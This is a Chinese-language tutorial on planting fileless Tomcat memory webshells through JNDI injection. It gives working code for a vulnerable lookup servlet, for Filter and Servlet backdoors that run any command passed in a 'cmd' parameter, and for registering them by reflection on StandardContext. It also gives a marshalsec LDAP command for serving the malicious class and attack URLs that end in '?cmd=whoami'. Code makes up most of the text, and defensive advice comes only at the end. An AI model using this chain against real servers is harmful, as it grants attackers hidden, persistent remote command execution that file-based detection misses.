无文件攻击实战:利用JNDI注入实现内存马持久化
引言
在当前的Web安全攻防对抗中,内存马凭借其极高的隐蔽性优势,已成为高级攻击者首选的持久化方案。与传统文件型Webshell相比,内存马完全运行于服务器内存中,不产生磁盘文件,能够有效绕过基于文件检测的安全防护。
要实现这种无文件落地的内存驻留,需要特定的技术条件作为支撑。当应用存在JNDI注入漏洞时,攻击者可利用JNDI的远程类加载特性,通过精心构造的恶意Reference,在目标服务器的内存中动态植入并执行恶意代码,实现持久化控制。
什么是JNDI
JNDI基本概念
JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,使Java应用程序能够与不同的命名服务和目录服务进行交互,比如RMI、LDAP、DNS等。
JNDI可通过RMI协议访问远程对象,此时RMI充当JNDI的底层通信实现。例如通过rmi://URL格式查找RMI注册表中的对象。JNDI的核心入口类就是InitialContext。
JNDI注入原理
服务器可能存在这样的代码片段:
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
当调用lookup(url)方法时,JNDI会根据提供的名称在相应的命名服务(如RMI、LDAP)中查找已注册的对象。如果查找的是一个直接的Java对象,那么返回的是该对象的引用;如果查找的是一个Reference引用对象,JNDI会尝试从指定的代码库地址加载类,并通过对象工厂来构造对象实例。
JNDI注入简单实例
服务端代码:
public class JNDITest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
resp.getWriter().println(url+"test");
try {
resp.getWriter().println(url);
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
远程对象代码:
public class test {
public test() {
System.out.println("JNDI接口创建对象成功!代码注入成功");
}
}
攻击过程:
- 将test类托管到JNDI服务上
- 访问服务器:
localhost:8080/JNDI_Memory/jnditest?url=ldap://127.0.0.1:1099/test - 服务端输出test构造函数中的内容,说明成功执行代码
版本要求: 一般需要JDK版本较低,如JDK 8u65
注入内存实战
环境搭建
模拟被攻击的服务端
项目结构:
- 创建WEB项目
- 配置web.xml
- 创建存在漏洞的servlet类
pom.xml依赖配置:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
web.xml配置:
<web-app>
<servlet>
<servlet-name>JNDITest</servlet-name>
<servlet-class>com.jndi.JNDITest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>JNDITest</servlet-name>
<url-pattern>/jnditest</url-pattern>
</servlet-mapping>
</web-app>
漏洞servlet代码:
public class JNDITest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
try {
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
}
模拟攻击的客户端
内存马技术实现
Filter内存马实现
恶意Filter类:
public class JNDIFilter extends HttpFilter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String lines = "";
while ((lines = bufferedReader.readLine()) != null) {
response.getWriter().println(lines);
}
}
}
关键技术点
1. 类动态加载技术
利用ClassLoader的defineClass方法实现类的动态加载:
// 获取当前的上下文类加载器
ClassLoader ctx = Thread.currentThread().getContextClassLoader();
// 通过反射获取defineClass方法
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// 还原类字节码
Class<?> clazz = (Class<?>) defineClassMethod.invoke(ctx, decodes, 0, decodes.length);
Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();
2. 字节码转换Base64
使用Javassist库将类转换为字节码并编码:
ClassPool aDefault = ClassPool.getDefault();
CtClass ctClass = aDefault.get("JNDIFilter");
byte[] bytecode = ctClass.toBytecode();
String base64Code = Base64.getEncoder().encodeToString(bytecode);
3. StandardContext获取
通过类加载器获取StandardContext对象:
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
ParallelWebappClassLoader pwcl = (ParallelWebappClassLoader) classLoader;
// 获取resources字段
Field resourcesField = getResourcesField(pwcl);
resourcesField.setAccessible(true);
Object resources = resourcesField.get(pwcl);
// 从resources获取context
StandardContext standardContext = getContextFromResources(resources);
辅助方法:
private static Field getResourcesField(ParallelWebappClassLoader pwcl) {
Class<?> clazz = pwcl.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField("resources");
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
private static StandardContext getContextFromResources(Object resources) {
if (resources instanceof StandardRoot) {
StandardRoot standardRoot = (StandardRoot) resources;
Field contextField = standardRoot.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object context = contextField.get(standardRoot);
if (context instanceof StandardContext) {
return (StandardContext) context;
}
}
return null;
}
4. Filter动态注册
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
完整的恶意注入类
public class JNDIInject {
public JNDIInject() throws Exception {
// 获取StandardContext
StandardContext standardContext = getStandardContext();
// 还原Filter类
String filterCode = "BASE64编码的字节码";
byte[] decodes = Base64.getDecoder().decode(filterCode);
Filter filter = loadFilterFromBytes(decodes);
// 注册Filter
registerFilter(standardContext, filter);
System.out.println("success!!");
}
// 辅助方法实现...
}
注入攻击流程
环境准备
1. 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#JNDIInject" 1099
2. 启动HTTP服务
在恶意类文件目录下启动Python HTTP服务:
python -m http.server 80
攻击执行
访问存在漏洞的URL:
http://localhost:8080/JNDI_Memory/jnditest?url=ldap://127.0.0.1:1099/JNDIInject
验证攻击效果
通过Filter执行命令:
http://localhost:8080/JNDI_Memory/shell?cmd=whoami
Servlet内存马实现
恶意Servlet类
public class JNDIServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String lines = "";
while ((lines = bufferedReader.readLine()) != null) {
resp.getWriter().println(lines);
}
}
}
Servlet注入实现
public class JNDIServletInject {
public JNDIServletInject() throws Exception {
StandardContext standardContext = getStandardContext();
// 还原Servlet类
String servletCode = "BASE64编码的Servlet字节码";
byte[] decodes = Base64.getDecoder().decode(servletCode);
Servlet servlet = loadServletFromBytes(decodes);
// 注册Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setLoadOnStartup(1);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "shell");
}
}
技术总结
JNDI注入内存马特点
- 无文件持久化:恶意代码完全驻留于内存,无需在磁盘写入任何文件
- 组件多样化:支持多种恶意组件注入
- 高隐蔽性:绕过传统文件检测机制
支持的内存马类型
- Servlet内存马 - 注册恶意Servlet组件
- Filter内存马 - 注入恶意Filter拦截请求
- Controller内存马 - Spring环境中注册恶意Controller
- Agent内存马 - 通过Java Agent技术修改字节码
- Listener内存马 - 注册事件监听器实现持久化
防御建议
- 升级JDK版本:使用高版本JDK(如8u191+)限制远程类加载
- 输入验证:对JNDI lookup参数进行严格过滤
- 安全配置:配置JVM安全策略限制外部代码加载
- 监控检测:部署内存马检测工具监控异常行为
后记
该技术标志着攻击手段从传统的文件型Webshell向无文件、内存驻留的高级持久化技术发展,充分利用了Java生态的动态特性和灵活性。随着攻防对抗的不断升级,后续将逐渐加入其他方式的无文件落地内存马实现方案。
注意:本文仅用于安全研究和技术学习目的,请勿用于非法用途。